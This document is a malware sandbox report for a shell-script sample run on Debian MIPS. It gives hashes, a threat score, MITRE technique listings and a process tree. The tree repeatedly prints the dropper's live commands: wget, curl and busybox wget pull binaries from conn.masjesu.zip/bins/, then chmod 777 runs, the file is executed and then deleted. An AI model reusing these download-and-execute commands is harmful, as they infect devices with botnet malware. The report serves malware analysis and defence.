64ff7797a6ac1231f02600663c5342c48253cf1cb37b223684c6fb51bfbfd64d

Analysis

max time kernel
95s
max time network
97s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2024, 02:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
64ff7797a6ac1231f02600663c5342c48253cf1cb37b223684c6fb51bfbfd64d.sh
Size 10KB
Sample241027-cw2mrstbpn
SHA256 64ff7797a6ac1231f02600663c5342c48253cf1cb37b223684c6fb51bfbfd64d
MD5 820e60f175593f6d016ec0068104ea46
SHA1 1ba2930805a80b27a34af89a35dbf1ba88e1ac4c
SHA512 a8c8b126c5388855fd8f4d0db4850a911210e392716cd96d5d9783482041251d49e03e22a0f293e19f91c146883e453be06521082025ab8452f3d5e5ea6318f4
SSDEEP 96:YEIYsn5nRnx1Vv+x+p+DK2kkoj2okkmL40KLRrBRr5RrCr1rZr+okwLrH8LzPlLk:NIgDK2VO8c92/TGFlbIgDK2A/TGFli
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
860	chmod
898	chmod
926	chmod
982	chmod
750	chmod
853	chmod
933	chmod
961	chmod
1003	chmod
877	chmod
989	chmod
809	chmod
940	chmod
947	chmod
954	chmod
870	chmod
905	chmod
968	chmod
816	chmod
891	chmod
919	chmod
975	chmod
996	chmod
1017	chmod
757	chmod
884	chmod
912	chmod
1010	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
812	wget
932	busybox
939	busybox
890	busybox
922	wget
1000	curl
925	busybox
937	curl
943	wget
748	busybox
753	wget
824	curl
888	curl
909	curl
988	busybox
1007	curl
740	curl
993	curl
1014	curl
806	curl
901	wget
979	curl
1002	busybox
726	wget
813	curl
856	wget
873	wget
887	wget
895	curl
1013	wget
857	curl
880	wget
923	curl
981	busybox
883	busybox
894	wget
902	curl
904	busybox
915	wget
953	busybox
957	wget
958	curl
965	curl
756	busybox
869	busybox
916	curl
950	wget
985	wget
986	curl
1016	busybox
859	busybox
867	curl
881	curl
911	busybox
930	curl
964	wget
967	busybox
974	busybox
995	busybox
1009	busybox
815	busybox
834	busybox
863	wget
876	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl	curl
File opened for modification	/tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk	curl
File opened for modification	/tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2	curl
File opened for modification	/tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY	curl
File opened for modification	/tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB	curl
File opened for modification	/tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY	curl
File opened for modification	/tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz	curl
File opened for modification	/tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB	curl
File opened for modification	/tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF	curl
File opened for modification	/tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB	curl
File opened for modification	/tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB	curl
File opened for modification	/tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz	curl
File opened for modification	/tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL	curl
File opened for modification	/tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3	curl
File opened for modification	/tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz	curl
File opened for modification	/tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO	curl
File opened for modification	/tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2	curl
File opened for modification	/tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H	curl
File opened for modification	/tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL	curl
File opened for modification	/tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl	curl
File opened for modification	/tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk	curl
File opened for modification	/tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO	curl
File opened for modification	/tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF	curl
File opened for modification	/tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3	curl
File opened for modification	/tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L	curl
File opened for modification	/tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz	curl
File opened for modification	/tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L	curl
File opened for modification	/tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H	curl

/tmp/64ff7797a6ac1231f02600663c5342c48253cf1cb37b223684c6fb51bfbfd64d.sh
/tmp/64ff7797a6ac1231f02600663c5342c48253cf1cb37b223684c6fb51bfbfd64d.sh
1⤵
PID:718
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:723
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - System Network Configuration Discovery
  PID:726
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/chmod
  chmod 777 2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  ./2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm 2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  PID:752
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - System Network Configuration Discovery
  PID:753
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - System Network Configuration Discovery
  PID:756
- /bin/chmod
  chmod 777 ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  ./ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  PID:759
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  PID:808
- /bin/chmod
  chmod 777 tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  ./tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  PID:811
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - System Network Configuration Discovery
  PID:812
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - System Network Configuration Discovery
  PID:815
- /bin/chmod
  chmod 777 d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  ./d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  PID:818
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - System Network Configuration Discovery
  PID:834
- /bin/chmod
  chmod 777 ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  ./ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - System Network Configuration Discovery
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - System Network Configuration Discovery
  PID:859
- /bin/chmod
  chmod 777 wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  ./wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - System Network Configuration Discovery
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - System Network Configuration Discovery
  PID:869
- /bin/chmod
  chmod 777 HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  ./HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  PID:872
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - System Network Configuration Discovery
  PID:873
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - System Network Configuration Discovery
  PID:876
- /bin/chmod
  chmod 777 MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  ./MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  PID:879
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - System Network Configuration Discovery
  PID:880
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - System Network Configuration Discovery
  PID:883
- /bin/chmod
  chmod 777 iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  ./iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  PID:886
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - System Network Configuration Discovery
  PID:887
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - System Network Configuration Discovery
  PID:890
- /bin/chmod
  chmod 777 OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  ./OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  PID:893
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - System Network Configuration Discovery
  PID:894
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  PID:897
- /bin/chmod
  chmod 777 hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  ./hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  PID:900
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - System Network Configuration Discovery
  PID:901
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - System Network Configuration Discovery
  PID:904
- /bin/chmod
  chmod 777 1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  ./1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm 1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  PID:907
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - System Network Configuration Discovery
  PID:911
- /bin/chmod
  chmod 777 abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  ./abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  PID:914
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - System Network Configuration Discovery
  PID:915
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  PID:918
- /bin/chmod
  chmod 777 MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  ./MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  PID:921
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - System Network Configuration Discovery
  PID:922
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - System Network Configuration Discovery
  PID:925
- /bin/chmod
  chmod 777 MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  ./MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
  2⤵
  PID:928
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - System Network Configuration Discovery
  PID:932
- /bin/chmod
  chmod 777 2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  ./2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm 2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
  2⤵
  PID:935
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - System Network Configuration Discovery
  PID:939
- /bin/chmod
  chmod 777 MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  ./MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
  2⤵
  PID:942
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - System Network Configuration Discovery
  PID:943
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  PID:946
- /bin/chmod
  chmod 777 iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  ./iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
  2⤵
  PID:949
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - System Network Configuration Discovery
  PID:950
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - System Network Configuration Discovery
  PID:953
- /bin/chmod
  chmod 777 ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  ./ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
  2⤵
  PID:956
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - System Network Configuration Discovery
  PID:957
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  PID:960
- /bin/chmod
  chmod 777 tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  ./tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
  2⤵
  PID:963
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - System Network Configuration Discovery
  PID:964
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - System Network Configuration Discovery
  PID:967
- /bin/chmod
  chmod 777 d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  ./d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
  2⤵
  PID:970
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - System Network Configuration Discovery
